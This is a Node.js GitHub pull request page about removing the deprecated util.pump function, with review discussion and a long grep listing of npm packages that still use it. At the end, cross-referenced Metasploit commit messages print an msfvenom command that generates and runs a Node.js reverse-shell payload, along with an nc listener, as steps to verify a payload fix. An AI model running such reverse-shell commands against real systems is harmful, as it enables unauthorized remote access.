Skip to content

util: Remove pump - #2531

Closed
geek wants to merge 1 commit into
nodejs:masterfrom
geek:deprecate-pump
Closed

util: Remove pump#2531
geek wants to merge 1 commit into
nodejs:masterfrom
geek:deprecate-pump

Conversation

@geek

@geekgeek commented Aug 24, 2015

Copy link
Copy Markdown
Member

This has been deprecated since v0.10, it was also documented as being deprecated. https://github.com/joyent/node/blob/v0.10.40-release/lib/util.js#L537-L538

@brendanashworthbrendanashworth added the util Issues and PRs related to the built-in util module. label Aug 24, 2015
@chrisdickinson

Copy link
Copy Markdown
Contributor

Adding this to the list of things to check.

@brendanashworthbrendanashworth added the semver-major PRs that contain breaking changes and should be released in the next major version. label Aug 25, 2015
Comment threaddoc/api/util.markdown

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You also need to remove the below line ⬇️

@targos

Copy link
Copy Markdown
Member

@chrisdickinson could you check this one ?

@jasnell

Copy link
Copy Markdown
Member

@nodejs/ctc ... any further thoughts?

@jasnelljasnell added the stalled Issues and PRs that are stalled. label Nov 16, 2015
@mscdex

Copy link
Copy Markdown
Contributor

+1 on removing, but it may still be interesting to see how many third-party modules would still be affected by such a removal.

@ChALkeR

Copy link
Copy Markdown
Member

+1 for removing.

Grep for (util|sys)\.pump (some comment-only lines manually excluded, also has both false negatives and false positives):

blogsiple-0.0.3.tgz/extension/blob/main.coffee:40: util.pumpinput,output,(err)->brunch-extensions-0.2.2.tgz/src/helpers.coffee:10: util.pumpread,write,->callback?()caboose-0.1.65.tgz/lib/path.coffee:114: util.pump(input,output,callback)coolkit-0.0.2.tgz/src/helpers.coffee:22: util.pumpread,write,->callback?()files-0.8.2.tgz/lib/files.coffee:104: util.pumpreadStream,writeStream,callbackfs2http-0.1.1.tgz/lib/utils.coffee:50: util.pumpreadStream,writeStream,(err)->meteor-private-package-0.0.10.tgz/src/smart_ref.coffee:16: util.pumpreader,writer,(err)->callback?(err)mg-mongoose-thumbnail-0.0.2.tgz/test/test.coffee:42: util.pumpis_,os,cbmongoose-thumbnail-0.0.1.tgz/test/test.coffee:42: util.pumpis_,os,cbnode-term-0.0.3.tgz/lib/main.coffee:12: util.pumpsh.stdout,cnodize-0.0.5.tgz/modules/backend/controllers/ctrl_media.coffee:240: util.pumpins,ous,(err)->omicron-0.2.0.tgz/grunt.coffee:16: util.pumpread,write,callbackopen.core-0.1.209.tgz/lib/src/server/util/fs/_copy.coffee:138: util.pumpreader,writer,(err)->callback?(err)shake-0.0.9.tgz/lib/main.coffee:11: util.pumpchild.stdout,process.stdoutshake-0.0.9.tgz/lib/main.coffee:12: util.pumpchild.stderr,process.stderrsocketstream-wisdom-0.3.0RC1.tgz/src/cli/generate.coffee:39: util.pump(read,write)stitch-up-0.3.12.tgz/lib/index.coffee:147: util.pumpinputStream,outputStream,(err)->titanium-backbone-0.5.4.tgz/lib/index.coffee:81: util.pumpinput,output,callbackv-t-test-0.4.2-22.tgz/packages/tower-support/shared/file.coffee:55: util.pump(oldFile,newFile)walkabout-0.1.6.tgz/lib/walkabout.coffee:168: util.pump(input,output,callback)webc-0.1.2.tgz/test/compile.test.coffee:68: util.pump(fromFileDescriptor,toFileDescriptor,callback);10er10-0.23.0.tgz/node/d10.router.audio.download.js:34: util.pump(fs.createReadStream(file),response);10er10-0.23.0.tgz/node/httpHelper.js:101: util.pump(stream,ctx.response);amdify-0.0.26.tgz/lib/builtin/sys.js:39:exports.pump=util.pump;aqua-1.0.0.tgz/externs/nodejs/util.js:113:util.pump=function(readableStream,writableStream,callback){};asyncjs-0.0.9.tgz/lib/plugins/fs-node.js:349: util.pump(reader,writer,callback)async_testing-0.3.2.tgz/lib/web-runner.js:80: sys.pump(fs.createReadStream(dir+filename),response);autolint-1.1.4.tgz/lib/configuration.js:42: util.pump(oldFile,newFile);autolint-1.1.4.tgz/test/configuration-test.js:51: assert.calledOnceWith(util.pump,oldFile,newFile);base12-0.3.5.tgz/scripts/generators/utils.js:27: util.pump(rs,ws,callback);batman-0.14.1.tgz/tools/generator.js:122: returnutil.pump(oldFile,newFile,function(err){biojs-vis-blast-0.1.5.tgz/node/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn),stream,function(){biojs-vis-blast-0.1.5.tgz/node/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn),stream,function(err){bufferlist-0.1.0.tgz/test/binary_event.js:9: sys.pump(sock,bufferList);build-0.1.4.tgz/tasks/copy.js:12: util.pump(oldFile,newFile,function(err){capsela-0.6.3.tgz/lib/BlobResponse.js:63: util.pump(this.blob.getStream(),stream);capsela-0.6.3.tgz/lib/FileResponse.js:103: util.pump(fs.createReadStream(this.path),stream);capsela-0.6.3.tgz/lib/HttpClient.js:139: util.pump(res,bodyStream);capsela-0.6.3.tgz/lib/Request.js:81: util.pump(bodyStream,this.bodyStream);capsela-util-1.0.5.tgz/lib/Pipe.js:60: util.pump(stream,pipe);capsela-util-1.0.5.tgz/lib/Pipe.js:259: util.pump(this,destination,function(err){capt-0.6.0.tgz/lib/request.js:81: sys.pump(response,options.responseBodyStream);capt-0.6.0.tgz/lib/request.js:111: sys.pump(options.requestBodyStream,options.request);closurecompiler-externs-1.0.4.tgz/util.js:114:util.pump=function(readableStream,writableStream,callback){};cloud9-0.5.1.tgz/support/asyncjs/lib/plugins/fs-node.js:347: sys.pump(reader,writer,callback)cloud9-0.5.1.tgz/support/jsdav/support/async.js/lib/plugins/fs-node.js:347: sys.pump(reader,writer,callback)cluster2-0.4.26.tgz/lib/monitor.js:76: util.pump(readStream,res,function(e){cocos2d-0.1.1.tgz/lib/cocos2d/commands/make.js:371: sys.pump(fs.createReadStream(src),fs.createWriteStream(dst));codem-transcode-0.5.10.tgz/lib/job.js:433: EXDEVfix,sinceutil.pumpisdeprecated,usingstream.pipecody-3.4.0.tgz/controllers/StylesController.js:59: util.pump(ins,ous,function(err){comsat-0.1.1.tgz/test/comsat.test.js:19: util.pump(is,os,callback);coolkit-0.0.2.tgz/src/helpers.js:35: returnutil.pump(read,write,function(){coverage_testing-0.5.0.tgz/lib/web-runner.js:100: util.pump(fs.createReadStream(dir+filename),response);covershot-0.2.0.tgz/lib/fsutil.js:60: util.pump(is,os,cb);crafity-http-0.1.3.tgz/lib/WebService.js:87: util.pump(stream,res);dri-0.0.6.tgz/lib/dri.js:338: util.pump(is,os,function(){express-logger-0.0.3.tgz/logger.js:55: util.pump(is,os,cb);fh-0.12.1-7.tgz/lib/local.js:478: util.pump(fileStream,response);fh-0.12.1-7.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout,cp2.stdin);fh-fhc-1.1.5-59.tgz/lib/cmd/common/local.js:557: util.pump(fileStream,response);fh-fhc-1.1.5-59.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout,cp2.stdin);fh-fhc-beta-1.0.8-17.tgz/lib/cmd/common/local.js:557: util.pump(fileStream,response);fh-fhc-beta-1.0.8-17.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout,cp2.stdin);fh-fhc-test-0.30.3-3.tgz/lib/local.js:555: util.pump(fileStream,response);fh-fhc-test-0.30.3-3.tgz/lib/utils/exec.js:61: sys.pump(cp1.stdout,cp2.stdin);fiberize-0.1.1.tgz/test/pump_test.js:14: util.pumpW(child.stdout,process.stdout);flush-all-0.1.1.tgz/node-v0.13/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn),stream,function(){flush-all-0.1.1.tgz/node-v0.13/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn),stream,function(err){forker-2.0.6.tgz/index.js:102: util.pump(p_res,res)fructose-1.0.1.tgz/functions/fs/move.js:8: util.pump(is,os,function(err){fsautil-0.1.1.tgz/fsautil.js:67: util.pump(is,os,callback);fs-copy-0.0.2.tgz/lib/fs-copy.js:31: returnutil.pump(is,os,function(err){fstree-0.0.1.tgz/lib/fstree.js:125: mod_util.pump(input,output,function(suberr){funtang.compiler-0.0.1.tgz/source/config/jake.js:36: util.pump(fs.createReadStream(cpath),fs.createWriteStream(ppath));furniture-0.1.6.tgz/test/test-examples.js:40: util.pump(is,os,cb);gammalatex-0.0.8.tgz/example.js:82: util.pump(readStream,writeStream);gnd-0.7.9.tgz/bin/gnd.js:201: util.pump(is,os,cb);gulp-externs-0.0.11.tgz/externs/node/v0.10.25/util.js:100:util.pump=function(readableStream,writableStream,opt_callback){};gulp-externs-0.0.11.tgz/externs/node/v0.12.0/util.js:123:util.pump=function(readableStream,writableStream,opt_callback){};gulp-joycss-1.0.3.tgz/joycss/lib/csslib/cssReader.js:128: util.pump(steam,copyFile);hackers-0.1.0.tgz/server/src/3rdparty/telnet.js:156: util.pump(this,dest);hans-0.1.0.tgz/lib/helper.js:38: util.pump(is,os,cb);hc-server-0.8.5.tgz/hc-server.js:177: util.pump(ins,ous,function(err){helper-0.0.13.tgz/index.js:48: sys.pump(is,os,cb);hive-0.1.6.tgz/lib/file.js:79: util.pump(i,o,function(){homebase-0.0.24.tgz/common/common_utils.js:22: util.pump(rs,response,function(err){hound-1.0.4.tgz/spec/hound.spec.js:43: util.pump(fs.createReadStream(src),fs.createWriteStream(dest))hound-extra-1.0.4.tgz/spec/hound.spec.js:43: util.pump(fs.createReadStream(src),fs.createWriteStream(dest))house-0.1.234.tgz/lib/endPoints/fs/index.js:18: util.pump(is,os,function(){iai-static-0.0.2.tgz/lib/static.js:52: util.pump(fs.createReadStream(file),res,function(err){imagerequest-0.0.1.tgz/imagerequest.js:201: lib.util.pump(stream,res,function(err){jah-0.3.0.tgz/lib/jah/copytree.js:45: sys.pump(fs.createReadStream(src),fs.createWriteStream(dst));jah-0.3.0.tgz/lib/jah/copytree.js:61: sys.pump(reader,writer);jalapeno-0.1.1.tgz/jalapeno.js:107: sys.pump(fs.createReadStream(file),fs.createWriteStream(to_dir),function(){j-forms-0.0.74.tgz/fields.js:652: util.pump(is,os,function(err){jsut-0.0.5.tgz/npm-install.js:9: util.pump(is,os,cb);karma-assert-1.0.0.tgz/assert.js:776:util.pump=util.deprecate(function(readStream,writeStream,callback){littlehelper-0.4.4.tgz/src/core/Files.js:14: this.util.pump(oldFile,newFile);memorystream-0.3.1.tgz/test/example.js:13: util.pump(res,memStream);memorystream-mcavage-0.1.1.tgz/test/example.js:13: util.pump(res,memStream);memstream-0.0.1.tgz/index.js:38: varpump=sys.pump||util.pump;middlefiddle-0.3.3.tgz/setup.js:24: util.pump(original,target);mold-0.0.11.tgz/mold.js:73: util.pump(is,os);mold-0.0.11.tgz/mold.js:87: util.pump(is,os);mold-0.0.11.tgz/mold.js:101: util.pump(is,os);mpr-0.1.12.tgz/lib/mpr/util.js:186:module.exports.pump=util.pump;mutil-0.3.0.tgz/test/mutil-test.js:204: should.exist(util.pump);mvcfun-0.4.4-r1.tgz/lib/UploadManager.js:200: util.pump(is,os2,function(){mvcfun-0.4.4-r1.tgz/lib/UploadManager.js:271: util.pump(is,os,function(){mverriez.cluster2-0.5.1-SNAPSHOT.tgz/lib/monitor.js:76: util.pump(readStream,res,function(e){ndns-0.1.1.tgz/examples/redis-streaming-client.js:8:sys.pump(db.createReadStream("get","stdin"),process.stdout);ndns-0.1.1.tgz/examples/redis-streaming-client.js:16:sys.pump(process.openStdin(),db.createWriteStream("append","stdin"));ndns-0.1.1.tgz/examples/t.js:235: sys.pump(stream,cstream);ndns-0.1.1.tgz/examples/t.js:236: sys.pump(cstream,stream);ndns-0.1.1.tgz/lib/tun_proxy.js:43: sys.pump(stream,self.client);nervecentre-0.1.3.tgz/inc/util.js:49: util.pump(body,res);nodast-0.0.2.tgz/lib/installer.js:36: util.pump(inStream,outStream,function(error){nodast-0.0.2.tgz/lib/installer.js:49: util.pump(initdInStream,initdOutStream,function(error){node-core-test-simple-0.11.11.tgz/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn),stream,function(){node-core-test-simple-0.11.11.tgz/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn),stream,function(err){node-get-0.1.0.tgz/lib/node-get/node-get.js:168: getutil.pump(node-helper-0.0.7.tgz/fshelper-bak.js:38: $await(util.pumpAsync(streamIn,streamOut));nodejs-externs-0.10.1.tgz/externs/util.js:113:util.pump=function(readableStream,writableStream,callback){};node.svntail-0.6.30.tgz/lib/util.js:248: util.pump(oldFile,newFile);node-syntaxhighlighter-0.8.1.tgz/node-syntaxhighlighter.js:160: util.pump(readStream,writeStream,cb);npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/cache.js:280: sys.pump(from,to)npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/cache.js:449: sys.pump(gzip.stdout,target)npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/utils/exec.js:33: sys.pump(cp1.stdout,cp2.stdin)npm-remapper-0.0.0.tgz/test/fake_npm_root/.npm/npm/0.2.17/package/lib/utils/fetch.js:103: sys.pump(response,fstr)oatos.utils-0.2.0.tgz/lib/FileUtil.js:223: $await(util.pumpAsync(streamIn,streamOut));ocframework-0.9.2.tgz/lib/helpers/fs.js:16: util.pump(oembed-0.1.0.tgz/lib/oembed.js:141: util.pump(res,disco);oembed-0.1.0.tgz/lib/oembed.js:186: util.pump(res,parser);opencomb-0.9.7.tgz/lib/helpers/fs.js:16: util.pump(opencomb-cli-0.1.3.tgz/commands/init.js:359: util.pump(operatic-0.1.2.tgz/bin/operatic.js:19: util.pump(fs.createReadStream(inputPath),fs.createWriteStream(outputPath),function(err){pathfinder-0.3.0-1.tgz/lib/pathfinder/file.js:210: returnutil.pump(oldFile,newFile);payos-0.0.1.tgz/support/async/lib/async/plugins/fs-node.js:347: sys.pump(reader,writer,callback)pezhu-0.0.0.tgz/Downloads/node-v0.9.11/test/simple/test-pump-file2tcp.js:34: util.pump(fs.createReadStream(fn),stream,function(){pezhu-0.0.0.tgz/Downloads/node-v0.9.11/test/simple/test-pump-file2tcp-noexist.js:35: util.pump(fs.createReadStream(fn),stream,function(err){pn-0.0.1.tgz/util.js:33: pump: {enumerable: true,value: promisify(util,util.pump,2)},pump.io-0.3.0.tgz/test/lib/http.js:391: util.pump(bres,res);pump.io-0.3.0.tgz/test/lib/http.js:396: util.pump(req,breq);ql.io-mon-0.3.0.tgz/lib/mon.js:168: util.pump(readStream,res,function(e){readarepo-zip-0.1.1.tgz/lib/md.js:36: util.pump(srcStream,tgtStream,function(err){readarepo-zip-0.1.1.tgz/lib/service/convert.js:122: util.pump(srcStream,tgtStream,function(err){readarepo-zip-0.1.1.tgz/lib/service/support.js:85: util.pump(source,target,function(err){regex-stream-0.0.3.tgz/examples/regex-example.js:17:util.pump(input,regexStream)regex-stream-0.0.3.tgz/examples/regex-example.js:18:util.pump(regexStream,process.stdout)regex-stream-0.0.3.tgz/examples/simple-example.js:14:util.pump(input,regexStream)regex-stream-0.0.3.tgz/examples/simple-example.js:15:util.pump(regexStream,process.stdout)regex-stream-0.0.3.tgz/examples/timestamp-example.js:20:util.pump(input,regexStream)regex-stream-0.0.3.tgz/examples/timestamp-example.js:21:util.pump(regexStream,process.stdout)regex-stream-0.0.3.tgz/test/stream-test.js:84: util.pump(dataStream,regexStream)regex-stream-0.0.3.tgz/test/stream-test.js:85: util.pump(regexStream,outStream)regex-stream-0.0.3.tgz/test/stream-test.js:125: util.pump(dataStream,regexStream)regex-stream-0.0.3.tgz/test/stream-test.js:126: util.pump(regexStream,outStream)repl-edit-0.9.4.tgz/lib/index.js:157: util.pump(read,fs.createWriteStream(dest))repl-edit-0.9.4.tgz/lib/index.js:179: util.pump(read,fs.createWriteStream(cmdFile))runr-0.4.6.tgz/lib/mongodb.js:42: util.pump(mongod.stdout,out);runr-0.4.6.tgz/lib/mongodb.js:45: util.pump(mongod.stderr,err);runr-0.4.6.tgz/lib/selenium.js:47: util.pump(selenium.stdout,out);runr-0.4.6.tgz/lib/selenium.js:50: util.pump(selenium.stderr,err);sardines-0.4.5.tgz/lib/builtin/sys.js:42:exports.pump=util.pump;selenium-2.20.0.tgz/lib/runner/app.js:26:util.pump(selenium.stdout,out);selenium-2.20.0.tgz/lib/runner/app.js:27:util.pump(selenium.stderr,err);shoutcast-0.0.2.tgz/lib/shoutcast.js:83: util.pump(this.stream,res,function(){simplehelper-0.1.1.tgz/lib/util.js:65: util.pump(rs,response);socketstream-wisdom-0.3.0RC1.tgz/lib/cli/generate.js:38: returnutil.pump(read,write);squid-0.2.9.tgz/lib/builders/Copy.js:25: returnutil.pump(srcStream,outStream,cb);sumeru-0.10.4.tgz/sumeru/server/fileServer.js:507: util.pump(raw,res);sys-not-throw-1.0.2.tgz/index.js:40:sys.pump=util.deprecate(util.pump,msg);thimble-0.0.10.tgz/lib/utils.js:16: pump=util.pump,thumbnailgen-0.0.8.tgz/libs/pdfthumbnail/index.js:82: util.pump(is,os,function(){tooljs-0.1.6.tgz/lib/util/file.js:59: util.pump(fs.createReadStream(src_file),ufo-0.1.5.tgz/lib/management/utils.js:116: util.pump(v-t-test-0.4.2-22.tgz/lib/tower-support/shared/file.js:54: returnutil.pump(oldFile,newFile);webc-0.1.2.tgz/lib/webc.js:186: util.pump(inputFileDescriptor,outputFileDescriptor,callback);webser-0.0.1.tgz/lib/action.js:50: util.pump(html,rep);wez-telnet-0.1.1.tgz/telnet.js:156: util.pump(this,dest);whiskey-0.8.4.tgz/lib/reporters/coverage/html.js:175: util.pump(oldFile,newFile);wikitpage-0.0.2.tgz/bin/trans.js:144: util.pump(is,os,function(){xappy-async_testing-0.4.0.tgz/lib/web-runner.js:100: util.pump(fs.createReadStream(dir+filename),response);xglib-0.0.5.tgz/lib/filecopy.js:9: util.pump(read,write,function(err){xglib-0.0.5.tgz/routes/index.js:168: util.pumpAsync=binding.fromCallback(util.pump);xglib-0.0.5.tgz/routes/index.js:177: $await(util.pumpAsync(target,clone));zeppelin-0.0.3.tgz/lib/script/zeppelin.js:82: util.pump(is,os,function()

@jasnell

Copy link
Copy Markdown
Member

Putting this on the ctc-agenda tomorrow for a quick sanity check. Don't believe it's controversial at all but worth a double check

@cjihrig

Copy link
Copy Markdown
Contributor

LGTM

@jasnell

Copy link
Copy Markdown
Member

@geek ... would like to get this landed. Can you please rebase and update the PR?

Comment threaddoc/api/util.markdown Outdated

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hmm... @geek can you take another look? looks like a merge error

@geek

geek commented Nov 18, 2015

Copy link
Copy Markdown
MemberAuthor

@jasnell should be good now, thanks

@jasnelljasnell removed ctc-agenda stalled Issues and PRs that are stalled. labels Nov 18, 2015
@jasnell

Copy link
Copy Markdown
Member

make -j8 test pops up with a failure on test/sequential/test-pump-file2tcp.js ... that test needs to be removed. I'll do that when landing.

@jasnell

Copy link
Copy Markdown
Member

hold on... weren't these tests removed before this was rebased? test/sequential/test-pump-file2tcp-noexist.js ... I can pull them out

geek added a commit that referenced this pull request Nov 18, 2015
Remove util.pump and associated tests
PR-URL: #2531
Reviewed-By: Colin Ihrig <cjihrig@gmail.com>
Reviewed-By: James M Snell <jasnell@gmail.com>
@jasnell

Copy link
Copy Markdown
Member

Landed in 007cfea

@jasnelljasnell closed this Nov 18, 2015
@ChALkeR

Copy link
Copy Markdown
Member

@jasnell Do stream.pipe() tests cover those two removed ones?

@jasnell

Copy link
Copy Markdown
Member

@ChALkeR ... I do believe so. pump has been deprecated for quite a while, I'd be very surprised if there wasn't coverage.

@geek

geek commented Nov 18, 2015

Copy link
Copy Markdown
MemberAuthor

They were, git rebase failed me or I failed git rebase!

@jasnell

Copy link
Copy Markdown
Member

Quite odd indeed. No worries, they're removed in the landed commit. Thanks for rebasing that.

@jasnelljasnell mentioned this pull request Mar 17, 2016
coffeetocode added a commit to coffeetocode/metasploit-framework that referenced this pull request Aug 13, 2017
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
nodejs/node#2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
busterb pushed a commit to busterb/metasploit-framework that referenced this pull request Sep 19, 2017
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. On current versions the nodejs tcp shell payloads error out:
```
$ node --version
v7.10.0
$ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
<snip>
TypeError: util.pump is not a function
at Socket.<anonymous> ([stdin]:1:405)
at Object.onceWrapper (events.js:293:19)
at emitNone (events.js:86:13)
at Socket.emit (events.js:188:7)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10)
```
With this change, bind and reverse tcp should be tolerant of both new and older versions.
*Reference*
nodejs/node#2531
*Verification steps*
1. Set up a handler (either exploit/multi/handler or simple nc)
```
$ nc -l -v 7777
```
2. Use patched version with various versions of node:
```
msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node
```
3. Confirm both old and new versions of node result in shell, not error.
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

semver-majorPRs that contain breaking changes and should be released in the next major version.utilIssues and PRs related to the built-in util module.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

9 participants

@geek@chrisdickinson@targos@jasnell@mscdex@ChALkeR@cjihrig@sindresorhus@brendanashworth